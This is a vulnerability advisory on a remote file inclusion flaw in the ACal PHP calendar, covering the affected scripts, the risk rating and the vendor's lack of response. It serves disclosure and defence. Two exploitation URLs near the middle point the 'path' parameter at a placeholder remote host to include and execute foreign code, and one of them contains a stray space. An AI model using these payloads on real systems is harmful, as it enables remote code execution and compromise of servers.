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Remote File Inclusion Vulnerability in ACal

Advisory ID:HTB22985
Product:Acal
Vendor:http://acalproj.sourceforge.net/
Vulnerable Versions:2.2.6 and probably prior
Tested Version:2.2.6
Advisory Publication:May 3, 2011 [without technical details]
Vendor Notification:May 3, 2011
Public Disclosure:May 17, 2011
Vulnerability Type:PHP File Inclusion [CWE-98]
Risk Level:Critical
CVSSv2 Base Score:9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in ACal which could be exploited to compromise vulnerable system.

1) Remote file inclusion vulnerability in ACal
Input passed to the "path" parameter in embed/day.php and embed/month.php scripts is not properly sanitized before including files. A remote attacker can include and execute arbitrary files from local and remote locations. Successful exploitation might allow remote code execution but requires that register_globals is enabled.
Exploitation examples:
http://[host]/embed/day.php?path=http://host/file%00
http://[host]/embed/mo nth.php?path=http://host/file%00

How to Detect PHP File Inclusion Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22985 - https://www.immuniweb.com/advisory/HTB22985 - Remote File Inclusion Vulnerability in in ACal
[2] ACal - acalproj.sourceforge.net – ACal is a calendar application written in PHP.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
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